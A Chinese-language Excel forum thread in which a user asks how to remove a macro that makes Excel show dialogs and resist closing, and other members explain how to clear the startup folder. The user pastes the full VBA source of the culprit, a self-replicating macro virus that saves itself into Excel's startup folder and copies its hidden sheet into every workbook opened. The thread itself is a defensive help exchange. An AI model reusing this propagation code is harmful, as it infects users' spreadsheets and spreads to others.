無法消除巨集

PJChen

您好:
我收到分公司寄來的檔案,其中含有巨集及一個隱藏檔"1006ㄗ?ㄘ",      HD1205155s.zip (9.59 KB)

下載次數: 17

2012-6-1 15:39

現在關啟Excel使用時會一直出現對話框  

下載 (20.31 KB)

2012-6-1 15:38

而且將Excel關閉時無法真正關閉,必須關二次才行,
請關我要如何使這個巨集消失?

chin15

跟著圖上的路徑找到元兇刪掉就行了。
註：資料夾選項必須選擇顯示所有檔案

PJChen

回復 2# chin15
問題就是找不到!且這個檔案是別人寄給我的,上面的路徑怎會有這個檔?

HUNGCHILIN

執行下述巨集 刪掉所開啟資料夾裡面的檔案

Sub StartupPathA()

On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.StartupPath  '任意的資料夾
Set mySh = Nothing  '物件的釋放
Error1: End Sub

PJChen

[attach]11218[/attach][attach]11218[/attach]回復 4# HUNGCHILIN

以下是檔案中的巨集,但我將它刪除後,還是會一直出現前面所提的對話框,"1006ㄗ攣ㄘ.xls"這個檔是在對別人的電腦中,不是在我的電腦裡, 附件有三個sheet,每點選一個sheet,就會一直出現對話框.  [attach]11218[/attach]
我現在想做的如下:
1) 如果一個資料夾中,我存放了很多這樣的檔,它可以只刪除巨集,但檔案保留嗎?因為是有用的資料.
2) 刪除以下指明的 "1006ㄗ攣ㄘ.xls"  我第一次關掉excel後,excel不會整個關閉,而只是像關掉檔案的情形,第二次到檢視>取消隱藏視窗,就會出現另一個對話框,如果按確認就會開出一個空白的sheet , 所以我覺得它隱藏在每個收到的檔案中   

下載 (20.61 KB)

2012-6-1 22:32

需要再按一次關閉才會真正關掉excel.

1. Sub auto_open()
   
2.   On Error Resume Next
   
3.   If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "1006ㄗ攣ㄘ.xls") = "" Then
   
4.     Application.ScreenUpdating = False
   
5.     ThisWorkbook.Sheets("StartUp").Copy
   
6.     ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "1006ㄗ攣ㄘ.xls")
   
7.     n$ = ActiveWorkbook.Name
   
8.     ActiveWindow.Visible = False
   
9.     Workbooks("1006ㄗ攣ㄘ.xls").Save
   
10.     Workbooks(n$).Close (False)
    
11.   End If
    
12.   Application.OnSheetActivate = "1006ㄗ攣ㄘ.xls!acop"
    
13. 
    
14. End Sub
    
15. 
    
16. Sub acop()
    
17.   On Error Resume Next
    
18.   If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    
19.     Application.ScreenUpdating = False
    
20.     n$ = ActiveSheet.Name
    
21.     Workbooks("1006ㄗ攣ㄘ.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    
22.     Sheets(n$).Select
    
23.   End If
    
24. End Sub

複製代碼

oobird

在哪中的病毒？附件傳上來包準害了很多人！
用這個附件清除一下。
清除後沒問題了記得回來把這個有病毒的附件刪除！
刪xlstart病毒.rar (176 Bytes)

下載次數: 12

2012-6-1 23:00

PJChen

回復 6# oobird
不好意思,我不知道它是病毒,請問我放上去的檔要怎麼刪?
另外我前面提到的問題是否能解決?

PJChen

回復 6# oobird

我打開你提供的檔案,它就閃了一下,這樣是否有用?
upload的檔案我找不到地方可以前除,可以幫我刪嗎?或者是否我沒有權限?
我的檔案是經由email收到的,我要怎樣除去email及檔案的毒?
另外前面提到的問題能否解決?

oobird

運行過我的附件了嗎？其實前面每一樓講的都對。
就是要把Startup資料夾清空
二樓告訴妳的是手動刪除，循著路徑會找到的，只要設定顯示隱藏的檔案及資料夾會找得到的
阿吉是用程式直接開啟該資料夾，妳可以自行手動刪除
我的附件是替妳刪除，如此而已。
先解決這個隨機開啟的病毒再說！

oobird

閃了一下應該就行了。現在開啟新的excel檔案還會有不明的工作表或隱藏的活頁簿嗎？